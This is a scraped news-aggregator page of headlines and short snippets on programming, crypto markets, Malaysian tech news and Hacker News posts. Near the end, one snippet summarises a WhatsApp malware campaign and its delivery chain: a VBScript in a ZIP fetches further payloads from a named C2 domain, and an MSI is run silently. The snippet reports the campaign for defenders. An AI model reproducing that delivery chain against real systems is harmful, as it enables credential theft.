    1. Fundamentos da Linguagem Ruby Sintaxe, classes, módulos e mixins Orientação a objetos aplicada Blocks, Procs e Lambdas Enumeráveis e coleções Metaprogramação prática Tratamento de exceções MVC completo (Models, Views, Controllers) Active Record e callbacks Active Model e validations Active Support (concerns, inflectors, helpers) Action Controller e filtros Action View e helpers SQL avançado Migrations Associação entre modelos (belongs_to, has_many, has_one, has_many :through, etc.) Indexação, performance e EXPLAIN Transações e locking Uso de PostgreSQL (JSONB, CTEs, funções) Uso de Oracle/MySQL conforme necessidade Arel e construção de queries Scopes e ransackers Otimização: includes, preload, eager_load Joins complexos Queries com CTEs Estratégias de N+1 Rails API mode Versionamento…  ( 7 min )
    Compiling Window Maker in a Debian-based OS
    I wanted to study Window Maker source code and change a few things. To do that, I need to compile it from source and change ligthdm to use my custom compiled version. Unfortunately, there is not much documentation about compiling Window Maker from source, so I am adding it here so others (and myself in the future) can reuse this. Start by installing deb packages needed to compile Window Maker # Build tools sudo apt-get install build-essential \ autoconf automake libtool gettext git # Base libraries sudo apt-get install libx11-dev libsm-dev \ libpango1.0-dev libbsd-dev # Image libraries sudo apt-get install libxft-dev libfontconfig-dev libfreetype6-dev \ libxpm-dev libjpeg-dev libpng-dev libtiff-dev libgif-dev libwebp-dev \ # Imagemagick library support sudo apt-get install libmagickwand-dev Let's create the alternative installation directory sudo mkdir -p /opt/wmaker # Optionally, change ownership to your user to simplify later changes sudo chown $(id -u):$(id -g) /opt/wmaker git clone https://repo.or.cz/wmaker-crm.git cd wmaker-crm ./configure --prefix=/opt/wmaker \ --enable-modelock \ --enable-pango make -j $(nproc) # add sudo if you didn't change /opt/wmaker ownership make install # or if you don't want debug symbols (results are 5MiB binaries) make install-strip And last, let's create a custom session file to select our custom Window Maker Edit with your favorite text editor: sudo edit /usr/share/xsessions/wmaker-custom.desktop Add the following content: [Desktop Entry] Name=Window Maker Custom Comment=Use Window Maker from /opt/wmaker Exec=/opt/wmaker/bin/wmaker Icon=wmaker Type=XSession Restart with: sudo /etc/init.d/lightdm restart # or sudo systemctl restart lightdm.service That's all. Now you can enjoy your own compiled version of Window Maker Compiling Window Maker in a Debian-based OS  ( 7 min )
    Fixing emoji support in the Linux terminal
    Recently, tired of the huge accidental complexity of Gnome and KDE, I decided to switch back to Window Maker (again). Being a big terminal user, when I was setting up the terminal, I noticed that emojis were not being displayed correctly by Starship prompt. First thing, I installed Nerd Fonts from their website nerdfonts.com. Guess what - no emojis. Then, digging a bit more, I found that some emojis were being displayed properly, but curiously the ones being displayed by Starship prompt were all missing. To my luck, there is a deb package that contains all the Emojis and can be used as a fallback for missing emojis: sudo apt-get install fonts-noto-color-emoji After installing it and restarting the terminal, I got all emojis being properly rendered. Finally an easy one. Fixing emoji support in the Linux terminal  ( 6 min )
    Mastering JavaScript map(): Hidden Pitfalls and Smarter Patterns
    JavaScript’s Array.prototype.map() is simple on the surface yet surprisingly deep once you inspect how callbacks, types, coercion, and encoding work under the hood. One of the most infamous examples — [1,2,3].map(parseInt) — looks harmless but produces confusing output that often appears in interviews. This guide breaks everything down clearly: how map() really works, why parseInt misbehaves, how NaN is detected, how wrapper objects make "text".length possible, and why emoji “length” is unintuitive. Each section includes modern examples and best-practice patterns. map() Actually Works 1.1 Syntax and Basic Behavior map() creates a brand-new array using your callback’s return values. The original array is never modified. const transformed = sourceList.map( (itemValue, itemPosi…  ( 7 min )
  • Open

    DappRadar Shuts Down, Citing ‘Financially Unsustainable’ Market
    Launched in 2018, the platform had grown into one of the most prominent analytics hubs for on-chain activity.  ( 33 min )
    Bitcoin Slips Below $93K as Crypto Weakness Worsens, but Local Bottom Could Be Near, Analysts Say
    Leader in cryptocurrency, Bitcoin, Ethereum, XRP, blockchain, DeFi, digital finance and Web 3.0 news with analysis, video and live price updates.  ( 35 min )
    What Next For Dogecoin as Bitcoin 'Death Cross' Puts Major Memecoin in Crosshairs
    Bitcoin's Death Cross, a bearish signal, occurred as the 50-day moving average fell below the 200-day moving average.  ( 36 min )
    XRP Slumps 5% as Bitcoin's Break Under $93,000 Leads to Bearish Outlook For Majors
    Broader crypto markets are pressured by weak risk sentiment and technical trading patterns.  ( 34 min )
    Kindly MD Delays Earnings Report Filing as Merger Losses Mount; Shares Drop
    Complex post-merger accounting prompts a late filing while losses mount and the shares slip further.  ( 32 min )
    Figure Stock Jumps as Druckenmiller Invests $77M, Analysts Raise Price Targets
    Analysts cited Figure’s shift to ‘capital-light’ model and stablecoin launch on the Provenance blockchain.  ( 31 min )
    Trump’s Maldives Hotel Will Be a Tokenized Real Estate Project
    The Trump International Hotel Maldives, developed with Dar Global, will be tokenized to allow investors to buy digital shares in the development.  ( 32 min )
    Cboe to Debut Bitcoin, Ether ‘Perpetual-Style’ Crypto Futures on Dec. 15
    The contracts will offer long-term crypto exposure without rollovers, tailored for institutions avoiding offshore risk.  ( 32 min )
    Stellar Slips as Key Support Breaks, Signaling Mounting Bearish Momentum
    A sharp volume-driven breakdown below XLM’s ascending trendline and critical support at $0.2527 has shifted the market structure bearish, setting sights on the $0.2500 zone  ( 33 min )
    High-Stakes Gambler Liquidated for $168M After Shorting the Bottom of Crypto Plunge
    A high-stakes crypto trader was wiped out on HyperLiquid before immediately piling back into massive leveraged shorts on GMX — echoing past blow-ups from reckless market punters.  ( 31 min )
    HBAR Breaks Key Support as Bearish Sentiment Overpowers DeFi Momentum
    Technical breakdown accelerated as selling pressure peaked during final hours of trading session.  ( 32 min )
    Bitcoin Accumulation Amid Market Weakness? Sharp Rise in 1K BTC Holders Suggests So
    Rising whale activity hints at strategic positioning during bitcoin’s downturn.  ( 32 min )
    Internet Computer Slides as Break Below $5.00 Reinforces Bearish Technical Shift
    ICP extended its pullback from November highs after rejecting key resistance levels, with elevated volume underscoring the market’s focus on support near $4.70.  ( 32 min )
    Figment, OpenTrade and Crypto.com Offer 15% Stablecoin Yield Product for Institutions
    The new offering uses SOL staking and futures to deliver returns without price exposure, targeting compliance-minded investors.  ( 32 min )
    BitMine Immersion Acquires $173M in Ether as Tom Lee Suggests Reason Behind Crypto Weakness
    The Bitmine chairman said a wounded market maker could be scaling back operations, tightening crypto liquidity and weighing on digital asset prices.  ( 32 min )
    DeFi Lender Aave to Roll Out Retail Crypto Yield App on Apple’s App Store
    With the Aave App, users will be able to earn over 5% annual yield on their deposits, higher than money market funds, the protocol said in a blog post.  ( 31 min )
    CoinDesk 20 Performance Update: Internet Computer Drops 13.2%, Leading Index Lower
    Cronos (CRO) joined Internet Computer (ICP) as an underperformer, falling 5.8% over the weekend.  ( 28 min )
    Strategy Returns to Large Bitcoin Buys, Adding $835M Last Week
    Hamstrung from common share sales due to the cratering in their stock price, Michael Saylor and team turned to preferred share issuance.  ( 31 min )
    BONK Retreats as Resistance Rejection and Rising Volume Stall Uptrend
    BONK slipped back into its lower range after multiple failed pushes toward $0.00001090, with elevated trading activity underscoring consolidation.  ( 31 min )
    Still Hope for Bulls: Crypto Daybook Americas
    Your day-ahead look for Nov. 17, 2025  ( 38 min )
    Short-Term Holder Bitcoin Supply in Loss Climbs to Highest Level Since FTX Collapse
    U.S.-listed bitcoin ETF assets under management have slipped only about 4% compared with bitcoin’s 25% price drop, highlighting a divergence.  ( 33 min )
    Africa Embraces Stablecoins Via IOTA to Unlock $70B Pan-Continent Trade Tech
    Formed in partnership with the Tony Blair Institute and the WEF, the initiative aims to overhaul trade with USDT payments across 55 African nations.  ( 34 min )
    1inch Unveils Protocol Letting Multiple DeFi Strategies Share the Same Capital
    Aqua introduces a "shared liquidity layer" that enables capital from a single wallet to back multiple trading strategies simultaneously.  ( 32 min )
    Crypto Markets Today: Bitcoin, Ether Sink to Multimonth Lows as Liquidity Dries Up
    A bruising weekend confirmed a broader downtrend across major tokens, with shifting Fed rate-cut expectations and thin liquidity accelerating declines.  ( 34 min )
    Delayed U.S. Jobs Report, Zcash Network Upgrade: Crypto Week Ahead
    Your look at what's coming in the week starting Nov. 17.  ( 34 min )
    XRP Stands Out With 89% Gain as BTC, ETH, CD20 Fall to Muted Returns Over 365 Days
    Despite recent price losses, XRP is still up 89% on a 365-day basis.  ( 34 min )
    SGX Derivatives Debuts Bitcoin, Ether Perpetual Futures Tied to iEdge CoinDesk Crypto Indices
    New contracts will be available for trading from Nov. 24.  ( 34 min )
    Investigative Reporter Group ICIJ Exposes ‘Coin Laundry,’ Crypto’s Criminal Financial System
    A series of ICIJ reports unearth a litany of crypto-backed criminality including people trafficking operations, drug cartels, Russian criminal gangs and crypto-to-cash storefronts around the world.  ( 33 min )
    'Fat-Finger' Fail? Cardano Whale Torches $6M After Hitting Illiquid USDA Pool
    The decision to route through an illiquid micro-cap stablecoin might go down as one of the year’s most costly errors.  ( 32 min )
    What Next for Crypto Bulls as ETH, XRP, SOL, ADA Drop 8–16% in a Week
    Technically, bitcoin’s break below the monthly mid-range at $100,266 cleared a key liquidity shelf, exposing a fast-track slide into thinner regions. Near-term support sits at $93,000 to $95,000.  ( 33 min )
    Bitcoin Market Memory Shaken: BTC's Bounce Zone Broken In Strategy-Like Bear Move
    Bitcoin has fallen below a key support level, breaking a bullish pattern.  ( 31 min )
  • Open

    How to Build a Portfolio Website Using Figma and AI Tools – A Guide for Developers
    Ever since my article on How to Become a Full Stack Developer and Get a Job in 2025 went viral, I’ve received countless DMs, emails, and even WhatsApp messages from readers. People have been asking about everything from learning to code and mastering...  ( 26 min )
    How to Add Real-Time Web Search to Your LLM Using Tavily
    Large language models are smart. But they are not always well-informed. They can write code, summarize books, and explain complex topics, but they struggle with real-time facts. Their knowledge ends at their training cutoff, which means they can’t te...  ( 7 min )
    How to Create Fluid Animations with React Native Reanimated v4
    Reanimated 4 brings Cascading Style Sheets (CSS) animations to React Native while keeping full backward compatibility with its worklet-based API. You can now build 60+ frames-per-second (FPS) animations using familiar web syntax, or drop down to work...  ( 17 min )
    Intro to Backend Web Development – Node.js, Express, MongoDB
    Backend development involves building the server-side "brain" of a website that manages user data, authentication, and database communication. We just posted a tutorial on the freeCodeCamp.org YouTube channel that will teach you how to construct a ba...  ( 4 min )
  • Open

    The State of AI: How war will be changed forever
    Welcome back to The State of AI, a new collaboration between the Financial Times and MIT Technology Review. Every Monday, writers from both publications debate one aspect of the generative AI revolution reshaping global power. In this conversation, Helen Warrell, FT investigations reporter and former defense and security editor, and James O’Donnell, MIT Technology Review’s…  ( 26 min )
    The Download: the risk of falling space debris, and how to debunk a conspiracy theory
    This is today’s edition of The Download, our weekday newsletter that provides a daily dose of what’s going on in the world of technology. What is the chance your plane will be hit by space debris? The risk of flights being hit by space junk is still small, but it’s growing. About three pieces of old space…  ( 21 min )
    What is the chance your plane will be hit by space debris?
    MIT Technology Review Explains: Let our writers untangle the complex, messy world of technology to help you understand what’s coming next. You can read more from the series here. In mid-October, a mysterious object cracked the windshield of a packed Boeing 737 cruising at 36,000 feet above Utah, forcing the pilots into an emergency landing.…  ( 25 min )
  • Open

    Kobo Libra Colour Lightning Review: Not Quite A Jack Of All Trades
    The Kobo Libra Colour has been around for quite some time now, having been launched last year. As one of the fancier offerings on the market, the eReader comes with a few extra features that add more utility without detracting from its main purpose. At least, that’s the general idea anyway. As to how it […] The post Kobo Libra Colour Lightning Review: Not Quite A Jack Of All Trades appeared first on Lowyat.NET.  ( 41 min )
    Selangor Aims Nuclear Energy Adoption Within Next Five Years
    Selangor Menteri Besar Amirudin Shari told the State Legislative Assembly today that the state is expected to begin adopting nuclear energy as a clean power source in five years. In response to a query by Mariam Abdul Rashid (PH-Meru) on Selangor’s plans and timeline for nuclear-based energy, Amirudin said the state is still in the […] The post Selangor Aims Nuclear Energy Adoption Within Next Five Years appeared first on Lowyat.NET.  ( 34 min )
    Apple Reportedly Shelves Mac Pro Refresh In Favour Of Mac Studio
    It seems that Apple has no intentions on releasing a new Mac Pro anytime soon. According to a report by Bloomberg’s Mark Gurman, the tech giant has relegated the desktop to the back burner. With a 2026 refresh unlikely to happen, the future of the Mac Pro isn’t looking too good. For those paying attention […] The post Apple Reportedly Shelves Mac Pro Refresh In Favour Of Mac Studio appeared first on Lowyat.NET.  ( 34 min )
    Leapmotor Malaysia Confirms B10 Debut; Opens Early Bookings
    Recently, Leapmotor Malaysia announced the debut of a new model for the local market. Today, the automaker confirmed that the model is indeed the B10, as many had expected. The company also revealed that bookings for the SUV will open on 17 November, suggesting that the official launch may be sooner than anticipated. The pre-launch […] The post Leapmotor Malaysia Confirms B10 Debut; Opens Early Bookings appeared first on Lowyat.NET.  ( 34 min )
    Fahmi: Malaysia Ranks Among World’s Cheapest For Mobile Data
    Malaysia offers some of the lowest mobile internet rates globally, according to Communications Minister Datuk Fahmi Fadzil. He said the country’s cost per gigabyte is among the cheapest worldwide and continues to improve as operators streamline their offerings. Speaking at a reception with the Malaysian diaspora at Rumah Malaysia in Azerbaijan on 16 November, Fahmi […] The post Fahmi: Malaysia Ranks Among World’s Cheapest For Mobile Data appeared first on Lowyat.NET.  ( 34 min )
    Porsche Explains How Its Wireless Charging Plate Works With The Cayenne EV
    Porsche revealed a new wireless charging technology at IAA Mobility 2025, which will be featured in the upcoming Cayenne Electric. This technology eliminates the need for a wall-box charger and the manual task of plugging in your vehicle. Recently, the automaker updated the details on the wireless charging, giving a deeper insight into the tech. […] The post Porsche Explains How Its Wireless Charging Plate Works With The Cayenne EV appeared first on Lowyat.NET.  ( 36 min )
    Government To Amend Three Laws In 2026 For MLFF Rollout
    Our government is expected to table three amendments during next year’s Parliament sitting, in order to address its multi-lane fast flow (MLFF) toll collection system that has long been in the works. The three laws that are expected to be amended are the Federal Roads Act 1959, the Road Transport Act 1987, and the Malaysian […] The post Government To Amend Three Laws In 2026 For MLFF Rollout appeared first on Lowyat.NET.  ( 34 min )
    POCO F8 Series To Launch 26 November 2025 Globally
    The POCO F7 series may have only made its debut earlier this year, but its successor is already on the way. The POCO F8 lineup has a confirmed launch date, and it’s pretty soon. The event will take place next week on 26 November 2025 at 4PM in Bali, Indonesia. The F8 series is expected […] The post POCO F8 Series To Launch 26 November 2025 Globally appeared first on Lowyat.NET.  ( 34 min )
    Belkin Issues Recall For Three Charging Devices Over Manufacturing Defect
    Belkin has issued a recall for three of its products due to manufacturing defects. The products in question are an Auto-Tracking Stand Pro charging stand, and two 20,000mAh power banks, the BoostCharge USB-C PD 20K and Playa USB-C PD 20K. “A manufacturing defect may cause the products’ lithium-ion cell components to overheat, which could pose […] The post Belkin Issues Recall For Three Charging Devices Over Manufacturing Defect appeared first on Lowyat.NET.  ( 34 min )
    Nissan N6 PHEV Debuts In China
    The Dongfeng-Nissan N6 has officially made its debut in China, and is currently available for pre-booking. Serving as the brand’s first plug-in hybrid (PHEV) sedan developed under Dongfeng Nissan’s new energy technology architecture, the N6 shares its technological foundation with the popular all-electric N7 sedan. Not only does the N6 share its platform with the […] The post Nissan N6 PHEV Debuts In China appeared first on Lowyat.NET.  ( 34 min )
    DJI Osmo Pocket 4 Spotted Again; May Launch 18 December
    DJI has launched a few products in the last couple of weeks, but the long-rumoured Osmo Pocket 4 has yet to make its official appearance. Of course, it has been spotted in the wild before. Leaksters have also been revealing details on the upcoming vlogging camera. This time, a new live image depicting the device […] The post DJI Osmo Pocket 4 Spotted Again; May Launch 18 December appeared first on Lowyat.NET.  ( 34 min )
    Google Reportedly Developing Its Own Version Of NameDrop For Android
    Apple debuted iOS 17 in 2023 with a feature for sharing contact details called NameDrop. Essentially, it is an extension of AirDrop that lets users send and receive the information by simply bringing their iPhones close together. Now, it seems Google is working on its own take on the feature for Android, which may be […] The post Google Reportedly Developing Its Own Version Of NameDrop For Android appeared first on Lowyat.NET.  ( 34 min )
    NG MERS 999: New Emergency Response Services Launches In Malaysia
    Malaysia has officially launched the Next Generation Emergency Response Services 999 (NG MERS 999), its upgraded national emergency communication infrastructure developed through a collaboration between Telekom Malaysia Berhad (TM) and the Communications Ministry. The system went live on Sunday (16 November), replacing the long-running MERS 999 platform that TM had also developed and operated. In […] The post NG MERS 999: New Emergency Response Services Launches In Malaysia appeared first on Lowyat.NET.  ( 35 min )
    Valve’s Gabe Newell Takes Delivery Of New US$500 Million Yacht With Submarine Garage, Onboard Clinic
    Gabe Newell, better known as both Lord Gaben and the founder of Valve and the owner of Steam, recently made waves, figuratively and literally, after he took ownership of his super yacht. By super, that’s both in price and the sheer size of the damn thing. Gabe’s ship is known as the Leviathan, and was […] The post Valve’s Gabe Newell Takes Delivery Of New US$500 Million Yacht With Submarine Garage, Onboard Clinic appeared first on Lowyat.NET.  ( 35 min )
    Tim Cook Reportedly Preparing To Step Down As Apple CEO Next Year
    Apple may be gearing up for its biggest leadership change in more than a decade, as a new report from the Financial Times claims Tim Cook could leave his role as chief executive as soon as next year. Sources told the publication that Apple’s board and senior executives have begun accelerating their succession plans to […] The post Tim Cook Reportedly Preparing To Step Down As Apple CEO Next Year appeared first on Lowyat.NET.  ( 34 min )
  • Open

    Phi-4 proves that a 'data-first' SFT methodology is the new differentiator
    AI engineers often chase performance by scaling up LLM parameters and data, but the trend toward smaller, more efficient, and better-focused models has accelerated.  The Phi-4 fine-tuning methodology is the cleanest public example of a training approach that smaller enterprise teams can copy. It shows how a carefully chosen dataset and fine-tuning strategy can make a 14B model compete with much larger ones. The Phi-4 model was trained on just 1.4 million carefully chosen prompt-response pairs. Instead of brute force, the Microsoft Phi-4 research team focused on “teachable” examples at the edge of the model’s abilities and rigorous data curation.  The Phi-4 reasoning smart data playbook demonstrates how strategic data curation with replicable SFT and RL can elevate a 14B model beyond much l…
    In a sea of agents, AWS bets on structured adherence and spec fidelity
    Despite new methods emerging, enterprises continue to turn to autonomous coding agents and code generation platforms. The competition to keep developers working on their platforms, coming from tech companies, has also heated up. AWS thinks its offering, Kiro, and new capabilities to ensure behavioral adherence set up a large differentiator in the increasingly crowded coding agent space.  Kiro, first launched in July on public preview, is now generally available with new features, including property-based testing for behavior and a command-line interface (CLI) capability to tailor custom agents. Deepak Singh, AWS vice president for databases and AI, told VentureBeat in an interview that Kiro “keeps the fun” of coding while providing it structure. “The way I like to say it is, what Kiro does…

  • Open

    A new chapter begins for EV batteries with the expiry of key LFP patents
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    PicoIDE – An open IDE/ATAPI drive emulator
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    Goldman Sachs asks in biotech Report: Is curing patients a sustainable business?
    Comments  ( 83 min )
    Why your mock breaks later
    Comments  ( 3 min )
    How Your Brain Creates 'Aha' Moments and Why They Stick
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    Peter Thiel sells off all Nvidia stock, stirring bubble fears
    Comments
    Call Me Maybe: Eavesdropping encrypted LTE calls with ReVoLTE (2020)
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    Why Castrol Honda Superbike crashes on (most) modern systems
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    The Pragmatic Programmer: 20th Anniversary Edition (2023)
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    I have recordings proving Coinbase knew about breach 4 months before disclosure
    Comments  ( 12 min )
    Adding an imaginary unit to a finite field
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    Linux mode setting, from the comfort of OCaml
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    62 chapter open-source Zig book
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    Tracking users with favicons, even in incognito mode
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    Dark Pattern Games
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    The fate of "small" open source
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    Pennies Are Trash Now
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    What if you don't need MCP at all?
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    CUDA Ontology
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    AI is killing privacy. We can't let that happen
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    Decoding Leibniz Notation (2024)
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    Z3 API in Python: From Sudoku to N-Queens in Under 20 Lines
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    The AI water issue is fake
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    The Man Who Keeps Predicting the Web's Death
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    I finally understand Cloudflare Zero Trust tunnels
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    Only three kinds of AI products work
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    Dissecting Flock Safety: The Cameras Tracking You Are a Security Nightmare [video]
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    FPGA Based IBM-PC-XT
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    De Bruijn Numerals
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    Heretic: Automatic censorship removal for language models
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    Production-Grade Container Deployment with Podman Quadlets – Larvitz Blog
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    Where do the children play?
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    The politics of purely client-side apps
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    My mum was a 17-year-old free spirit – so she was locked up and put in a coma
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    Garbage Collection Is Useful
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    PgFirstAid: PostgreSQL function for improving stability and performance
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    A twelve-year-old on the failed promise of educational technology
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    Vintage Large Language Models
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    The Internet Is No Longer a Safe Haven
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    Major Bitcoin mining firm pivoting to AI
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    Why are you (still) using OpenBSD?
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    Brimstone: ES2025 JavaScript engine written in Rust
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    Anthropic's report smells a lot like bullshit
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    “The Fall of Icarus”: Photograph of a falling skydiver in front of the Sun
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    UK's first small nuclear power station to be built in north Wales
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    Why I Don't Need a Steam Machine
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    Maybe You're Not Actually Trying
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    Tube: A subway route planner in Dyalog APL (2011)
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    An exposed .git folder let us dox a phishing campaign
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    Facebook Text Log Between Mark Zuckerberg and Kevin Systrom(Instagram Cofounder)
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    What's in a Passenger Name Record (PNR)? (2013)
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    Ubiquiti Flex Mini 2.5G Review Ubiquiti Does a Cheap 5-Port 2.5GbE Switch
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    Bypassing the Branch Predictor
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    Is our death from a hydrogen sulfide event inevitable in climate warming? (2005)
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    Hyundai Paywalls Brake Pads replacement on Ioniq 5 N
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    $5 PlanetScale is live
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    Mr. Difficult: William Gaddis and the Problem of Hard-to-Read Books (2002)
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    Exploring the Fragmentation of Wayland, an xdotool adventure
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    IDEmacs: A Visual Studio Code clone for Emacs
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    Garibaldi, History's Sexiest Revolutionary?
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    Tech Capitalists Don't Care About Humans
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    AirPods libreated from Apple's ecosystem
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  • Open

    Understanding the Different POST Content Types
    After more than 20 years of building for the web, this topic somehow kept slipping past me. It always felt obvious, so I never looked deeper. Recently I finally took the time to explore it properly, did some quick research, and now I’m sharing the results. Here’s a simple walkthrough of the different content types you can send in POST requests. When you submit a basic HTML form like , for example a login form, the browser sends the data using the application/x-www-form-urlencoded content type. The body of the request looks like a URL-encoded query string, the same format typically used in GET requests. Example: username=john_doe&password=pass123. A POST request with this content type using the fetch API looks like this: async function sendURLEncoded() {…  ( 11 min )
    StatefulSets & Persistent Storage in Kubernetes
    Kubernetes StatefulSets are the go-to solution for managing stateful applications that require stable identities, persistent storage, and ordered deployment patterns—essential for databases, distributed systems, and caching layers. If you're new to Kubernetes or setting up a cluster, consider exploring Kubernetes distributions like k3s or MicroK8s for development, or installing Kubernetes with Kubespray for production-grade clusters. This nice image on the cover is generated by AI model Flux 1 dev. StatefulSets are a Kubernetes workload API object designed specifically for managing stateful applications. Unlike Deployments that treat all pods as interchangeable, StatefulSets maintain a unique identity for each pod with guarantees about ordering and uniqueness. Key Features: Stable Network …  ( 11 min )
    Python Design Patterns for Clean Architecture
    Clean Architecture has revolutionized how developers build scalable, maintainable applications by emphasizing separation of concerns and dependency management. In Python, these principles combine with the language's dynamic nature to create flexible, testable systems that evolve with business requirements without becoming technical debt. Clean Architecture, introduced by Robert C. Martin (Uncle Bob), organizes software into concentric layers where dependencies point inward toward core business logic. This architectural pattern ensures that your application's critical business rules remain independent of frameworks, databases, and external services. The fundamental principle is simple yet powerful: business logic should not depend on infrastructure. Your domain entities, use cases, and busi…  ( 15 min )
    Go Unit Testing: Structure & Best Practices
    Go's built-in testing package Go's philosophy emphasizes simplicity and reliability. The standard library includes the testing package, making unit testing a first-class citizen in the Go ecosystem. Well-tested Go code improves maintainability, catches bugs early, and provides documentation through examples. If you're new to Go, check out our Go Cheat Sheet for a quick reference of the language fundamentals. Key benefits of Go testing: Built-in support: No external frameworks required Fast execution: Concurrent test execution by default Simple syntax: Minimal boilerplate code Rich tooling: Coverage reports, benchmarks, and profiling CI/CD friendly: Easy integration with automated pipelines Go tests live alongside your production code with a clear naming convention: myproject/ ├── go.mod ├─…  ( 11 min )
    Linux Data Science Stack: Jupyter, Pandas & Tools
    Linux has become the de facto operating system for data science Whether you're analyzing datasets with Pandas, running machine learning experiments in Jupyter, or deploying models to production, Linux provides the ideal foundation for your data science workflow. Linux isn't just popular in data science by coincidence—it's engineered for the demands of modern data workflows. The operating system's architecture provides direct hardware access, efficient memory management, and native support for parallel processing that's crucial when handling large datasets. Performance advantages are immediately noticeable when processing multi-gigabyte CSV files or training neural networks. Linux's superior memory management means your Pandas DataFrames can grow larger before hitting swap, and the kernel's…  ( 11 min )
    Helm Charts: Kubernetes Package Management
    Helm has revolutionized Kubernetes application deployment by introducing package management concepts familiar from traditional operating systems. As Kubernetes adoption grows, managing complex applications with dozens of YAML files becomes challenging. Helm Charts solve this problem by bundling all resources into versioned, configurable packages. This nice image on the cover is generated by AI model Flux 1 dev. Helm is to Kubernetes what apt is to Debian, yum to RedHat, or Homebrew to macOS. It packages Kubernetes applications into Charts – collections of files that describe related Kubernetes resources. A single Chart might deploy a complete application stack: web servers, databases, caching layers, ingress rules, and monitoring components. For those new to Kubernetes, a Kubernetes Cheats…  ( 14 min )
    An AI Crew for Automated Diagramming and Documentation
    The Introduction Our cloud documentation is almost always out of date. It's not because we're lazy; it's because the cloud moves too fast. A diagram drawn in a sprint planning meeting is obsolete by the time the code hits production. This documentation crisis, that every engineering team faces, is a massive and invisible tax. Nobody talks about it, but we know that manual updates are expensive, error-prone, and always outdated when you need them most. The "cost" isn't just the 2-3 days of senior engineer time every quarter—it's the production incidents that could have been prevented, the security vulnerabilities you didn't know existed, and the new hires who take weeks to understand the system. I was tired of this cycle. So I built a solution that uses AI agents to automatically scan li…  ( 10 min )
    Writing your first LLVM Transformation Passes - Dead Code Elimination and Constant Propagation
    Introduction In the previous article, we learned about LLVM passes and wrote our first analysis pass, which counted the number of add instructions inside a module. In this new post, I will explore more of LLVM by implementing transformation passes that make use of several LLVM APIs. This will expose us to different ways of processing the IR and highlight the facilities LLVM provides to its users. The good news is that this article does not require much theory so we will dive directly into the code. Note that I will not be showing all of the pass code (specifically, the registration boilerplate), but I will provide a Gist link for the sake of completeness. Dead Code Elimination (DCE) is one of the first optimizations a compiler applies to remove unused results and regions of code that are…  ( 12 min )
    [Without jQuery] Rewriting in JavaScript Selectors Edition
    With the evolution of modern JavaScript, many of the roles once handled by jQuery can now be replaced with standard APIs. This article focuses on the highly demanded selectors and provides a comprehensive guide on how to migrate jQuery syntax to native JavaScript. $('*') Selects all elements. $('*') document.querySelectorAll('*') https://codepen.io/rundezv/pen/VYeoZjK $(':root') Selects the root element of the document. $(':root') document.querySelector(':root') https://codepen.io/rundezv/pen/ByKQWYj $('div') Selects all elements that match the specified tag name. $('div') document.querySelectorAll('div') https://codepen.io/rundezv/pen/gbrYrXW DIV1 DIV2 SPAN $('div') // => // [ // DIV1 , // DIV2</d…  ( 20 min )
    Building a Full-Stack Product Monitoring System: A Technical Deep Dive
    Overview This is a production-grade, full-stack application designed to monitor product availability on an e-commerce website. The system automatically tracks inventory changes, sends Discord notifications for new products and restocks, and provides a comprehensive admin dashboard for monitoring configuration. This technical deep-dive explores the architecture, design decisions, and implementation strategies behind building a scalable monitoring system capable of handling thousands of products with real-time notifications. The application follows a modern hybrid architecture combining TypeScript and Go microservices: ┌─────────────────┐ ┌─────────────────┐ ┌──────────────────┐ │ React 19 │─────▶│ Fastify │─────▶│ PostgreSQL 16 │ │ Frontend │◀─────│ Ba…  ( 15 min )
    🚀 Meet Noty: The Chrome Extension That Finally Fixed My Messy Workflow
    I didn’t expect a tiny Chrome extension to change how I work… but Noty did exactly that. If your browser looks like this: 20+ tabs open Bookmarks you never check Docs you lose daily Notes scattered everywhere Same. But here's what fixed it. 👇 Noty lets you: Save any page with Alt + S Take quick notes right inside your browser Tag + organize everything Search your saved stuff instantly Keep research, tutorials, docs, and ideas in one place It feels like bookmarks, notes, and a mini knowledge base—combined. I use it to: Save GitHub repos Keep track of tutorials Store StackOverflow answers Keep notes per project Capture tools I want to try later All without breaking my flow. No account. No setup. Just install → save → done. 👉 Add Noty to Chrome (Free) you save the most? Docs? Tutorials? Repos? Drop it in the comments — I want to see how others use Noty! If this helped you, hit ❤️ so more devs can find it!  ( 6 min )
    A cleaner, safer, plug-and-play NanoGPT
    Hey everyone! I’ve been working on NanoGPTForge, a modified version of Andrej Karpathy's nanoGPT that emphasizes simplicity, clean code, and type safety, while building directly on PyTorch primitives. It’s designed to be plug-and-play, so you can start experimenting quickly with minimal setup and focus on training or testing models right away. Contributions of any kind are welcome, whether it is refactoring code, adding new features, or expanding examples. I’d be glad to connect with others interested in collaborating! Check it out here: https://github.com/SergiuDeveloper/NanoGPTForge  ( 6 min )
    Python by Structure: Context Managers and the With Statement
    Timothy stared at his screen in frustration. His script had crashed halfway through processing a batch of log files, and now he couldn't open any of them. "Margaret, I keep getting 'too many open files' errors. But I'm closing them! Look - I have file.close() right here." Margaret walked over and examined his code: def process_logs(filenames): for filename in filenames: file = open(filename, 'r') data = file.read() if 'ERROR' in data: analyze_errors(data) return # Found errors, exit early file.close() "I see the problem," Margaret said gently. "When you return early, that close() never executes. The file stays open." Timothy's eyes widened. "Oh no. So if I find an error in the first file, all the other files stay open?" "Exactly…  ( 9 min )
    Ringer Movies: ‘Snake Eyes’ With Bill Simmons, Sean Fennessey, and Van Lathan | Ringer Movies
    ‘Snake Eyes’ Deep Dive with Bill Simmons, Sean Fennessey & Van Lathan Bill Simmons, Sean Fennessey, and Van Lathan plunge into Brian De Palma’s ‘Snake Eyes’—breaking down Nic Cage’s high-voltage turn, Gary Sinise’s cop intrigue, and Carla Gugino’s standout moments. They unpack the film’s twisted plot, cinematic flair, and cult-classic status in true Ringer Movies fashion. This episode is powered by PayPal—score 5% cash back when you Pay in 4 through 12/31. Don’t miss this sewer-level exploration of one of De Palma’s wildest thrillers! Watch on YouTube  ( 6 min )
    WhatsApp malware campaign targeting Chrome credential vaults
    While hunting for malicious PowerShell techniques, we identified anomalous behavior indicative of staged payload execution. Initial Access & Delivery Chain Summary Threat actors leveraged WhatsApp as the initial access channel, sending messages to multiple employees within the organization to build trust before sharing a malicious ZIP file. Since ZIP files cannot be opened on mobile devices, users were compelled to access the archive on their endpoints, where they were deceived into executing an embedded VBScript payload. Execution of the VBScript initiated a multi-stage payload delivery mechanism, where it: Downloaded a secondary VBScript and an MSI installer from a remote C2 server (varegjopeaks[.]com) and saved them to the temporary directory. Executed the MSI file silently via msiexec…  ( 7 min )
    Synthesizing a project in ChatGPT to create content for my site.
